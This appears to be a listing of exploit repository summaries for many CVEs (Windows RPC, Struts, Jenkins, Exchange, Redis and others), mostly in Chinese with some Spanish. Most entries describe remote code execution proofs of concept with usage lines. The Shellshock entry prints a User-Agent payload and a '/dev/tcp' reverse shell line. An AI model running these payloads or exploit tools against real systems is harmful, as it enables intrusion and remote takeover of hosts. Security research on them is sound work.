CVE-2022-30292

CVE-2022-30292 描述 此漏洞是 Squirrel 3.2 及更低版本中 threadcall 函数内的基于堆的缓冲区溢出。它是由缺少对 sqreservestack 函数的调用引起的。此漏洞会导致客户端拒绝服务（DoS），并可能造成沙箱逃逸和任意代码执行。 攻击向量 要利用此漏洞，攻击者必须运行特制的 Squirrel 字节码或源文件。这可以通过多种方式实现。例如，服务器将游戏地图发送给客户端，然后有人执行恶意的 Squirrel 脚本。另一种受到攻击的方式是将恶意游戏模组安装到您的服务器上。 修复...

CVE-2022-26810

CVE-2022-26809 RCE 漏洞利用 CVE 描述 CVE-2022-26809 - 一个 Windows 核心组件（RPC）中的弱点，CVSS 评分为 9.8，并非毫无理由，因为该攻击不需要身份验证，可以通过网络远程执行，并可能导致以 RPC 服务的权限进行远程代码执行（RCE），具体取决于托管 RPC 运行时的进程。这个关键漏洞，如果运气好的话，允许访问未打补丁的运行 SMB 的 Windows 主机。该漏洞既可以从网络外部利用以侵入网络，也可以在网络内的机器之间利用。 厂商信息...

CVE-2025-49844-RediShell-AI-made-Revshell

CVE-2025-49844 RediShell AI制作的Revshell PoC 未经测试的AI制作的Redishell PoC完成版。 原始PoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py 韩国片段: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua 进度？...

struts2-rce

CVE-2017-5638 漏洞利用演示 完全基于 https://github.com/piesecurity/apache-struts2-CVE-2017-5638 一个真实场景：将某个框架的参考项目部署到容器中，却引发了严重后果。请查看代码并编译以熟悉它。同时检查 Dockerfile——是否有任何特定内容引起了我们的注意？ 展示了日常决策和多个漏洞如何轻易地被串联利用。 使用方法： 前提条件： 1. 已安装 JDK， 2. 已安装 Docker，Docker Desktop for Mac 或 Win 3. 最好已安装 Python（可用 Jython 替代） 准备步骤： 1...

Shell-Shock

Shell Shock 作者 : [email protected] 维护者 : 部门 : DevOps 许可证 : 概述 Shell Shock : 特权提升，远程代码执行 Unix Bash Shell 中的一系列漏洞。允许执行任意命令。 利用向量 有效载荷 shellshock 用户代理 = User-Agent: :; ; rshell 载荷 = bash -i & /dev/tcp/127.0.0.1 rshell 重定向到监听器 = bash -i & /dev/tcp/$YOURIP:$PORT 技巧 设计 : 目的 : 内容 : 服务器 : 应用 : 数据库 :...

weblogic2021

本项目涉及到的仅为安全研究和授权情况下使用，其使用人员有责任和义务遵守当地法律条规。 weblogic2021 CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756、CVE-2021-2109...

CVE-2025-1094-Exploit

CVE-2025-1094：通过WebSocket实现从SQL注入到远程代码执行 🚀 本仓库包含针对 CVE-2025-1094 的概念验证（PoC）利用程序，该漏洞存在于 PostgreSQL 中，允许通过 WebSocket 劫持将 SQL 注入（SQLi）攻击升级为远程代码执行（RCE）。 概述 此漏洞利用利用 PostgreSQL 中的 SQL 注入漏洞，注入恶意代码来读取敏感文件（例如 /etc/passwd），并将其存储在易受攻击的服务器上。然后，漏洞利用劫持一个活跃的 WebSocket 连接以执行任意命令，最终在被攻陷的服务器上获取远程 shell。 漏洞详情 CVE 编...

CVE-2022-41082

CVE-2022-41082 此仓库包含一个概念验证（PoC）工具，用于利用 Microsoft Exchange 服务器中的 OWASSRF 漏洞（CVE-2022-41082）。该漏洞利用允许攻击者在服务器上执行任意命令，可能危及系统安全。 概述 该工具利用 OWASSRF 漏洞绕过身份验证，并在 Exchange 服务器上获得远程代码执行（RCE）能力。通过利用此漏洞，攻击者可以像已认证用户一样执行命令，从而导致严重的安全后果。 工作原理 1. 身份验证绕过 ：该工具连接到目标 Exchange 服务器，利用精心构造的请求绕过身份验证机制。 2. 远程代码执行...

Spring4Shell-CVE-2022-22965

Spring4Shell: CVE-2022-22965 RCE Vulnerabilidad RCE en el framework Java Spring Estas vulnerabilidades afectan a un componente "Spring Core" — el corazón del framework Condiciones actuales para la vulnerabilidad:- JDK 9+ Una versión vulnerable de Spring Framework 5.2 | 5.2.0-19 | 5.3.0-17 Apache...

CVE-2024-25600

CVE-2024-25600 漏洞利用 - WordPress Bricks Builder 远程代码执行（RCE） 针对 CVE-2024-25600 的漏洞利用脚本，该漏洞是 WordPress 的 Bricks Builder 插件 中存在的一个严重 未认证远程代码执行（RCE） 漏洞。该工具能够检测漏洞、提取 nonce，并在易受攻击的目标上提供用于执行任意命令的 交互式 shell 。已在 Bricks Builder 1.9.5 版本 上测试，影响所有版本直至并包括 1.9.6 。该 安全漏洞 允许攻击者在无需认证的情况下远程注入并执行 恶意 PHP 代码 ，可能导致...

CVE-2018-1000861

CVE-2018-1000861 用于利用CVE-2018-1000861的简单脚本，使用Python 3编写 使用说明： root@kitploit: usage: exploit.py -h -u URL -c CMD -r -i IP -p PORT -v options: -h, --help 显示帮助信息并退出 -u URL, --url URL 目标Jenkins服务器 -c CMD, --cmd CMD 要执行的命令 -r, --revshell 执行反弹shell -i IP, --ip IP 反弹shell回调的IP地址 -p PORT, --port PORT...

CVE-2023-50164-POC

Esto es una Prueba de Concepto PoC para CVE-2023-50164, que describe una nueva vulnerabilidad de path traversal que puede conducir a la ejecución remota de código RCE en struts-core. Para remediar el problema, se recomienda actualizar a Struts 2.5.33 o Struts 6.3.0.2 o superior. Este repositorio ...

CVE-2018-16370

CVE-2018-16370 在 PESCMS Team 2.2.1 中，攻击者可以通过将 .php 文件放置在 ZIP 压缩包中，通过 /Public/?g=Team&m=Setting&a=upgrade 上传并执行任意 PHP 代码。更多详情请见 https://github.com/lazyphp/PESCMS-TEAM/issues/2...

CVE-2019-7238

CVE-2019-7238 RCE python3 CVE-2019-7238.py url...

CVE-2024-23897

CVE-2024-23897 Jenkins RCE 任意文件读取 CVE-2024-23897 使用方法: python poc.py http://127.0.0.1:8888/ /etc/passwd 更新: 更新至 Jenkins 2.442, LTS 2.426.3 修复: 如果你无法更新到最新版本，请禁用对CLI的访问，这将完全消除被利用的可能性。...

CVE-2021-21978

CVE-2021-21978 带回显版本的漏洞利用脚本，更简单的方式 0. 漏洞信息 VMware View Planner Web管理界面存在一个上传日志功能文件的入口，没有进行认证且写入的日志文件路径用户可控，通过覆盖上传日志功能文件loguploadwsgi.py，即可实现RCE 漏洞代码： root@kitploit: def applicationenviron, startresponse: logger.debug"application called" if environ'REQUESTMETHOD' == 'POST': post = cgi.FieldStorage...

CVE-2025-55182

React2Shell CVE-2025-55182 - Prueba de Concepto Una prueba de concepto integral y recurso educativo para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código que afecta a los Componentes del Servidor React con una puntuación CVSS de 10.0. Aviso Legal SOLO CON FINES EDUCATIVOS ...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ 和 OpenWire 1 Apache ActiveMQ 与 OpenWire 概述 ActiveMQ 是一个开源的消息传递和集成模式服务器，它包含支持 JMS 的代理（Broker），不仅可以在 Java 环境中使用，还能够实现使用多种语言的系统之间的通信。此外，通过集群功能、数据库以及文件系统，它维护了各系统之间的一致性和持久性。 OpenWire 是 Apache ActiveMQ 使用的一种二进制消息协议。它专为代理（ActiveMQ）与客户端之间的高效数据传输而设计。 CVE-2023-46604 是...

CVE-2021-41773

CVE-2021-41773 Usage root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py 什么是CVE-2021-41773？ CVE-2021-41773 Apache HTTP Server 2.4.49 的目录遍历漏洞。当未设置 Require all denied 时发生。...

CVE-2021-21985_PoC

漏洞详情 VMWARE VCENTER SERVER 虚拟SAN健康检查插件远程代码执行 CVE-2021-21985 vSphere Client HTML5 包含一个 vCenter Server 插件中的远程代码执行漏洞。具有端口 443 网络访问权限的恶意攻击者可能利用此问题，在托管 vCenter Server 的底层操作系统上以不受限制的权限执行命令。此漏洞影响 VMware vCenter Server 7.x 版本低于 7.0 U2b、6.7 版本低于 6.7 U3n 以及 6.5 版本低于 6.5 U3p 和 VMware Cloud Foundation 4.x 版本...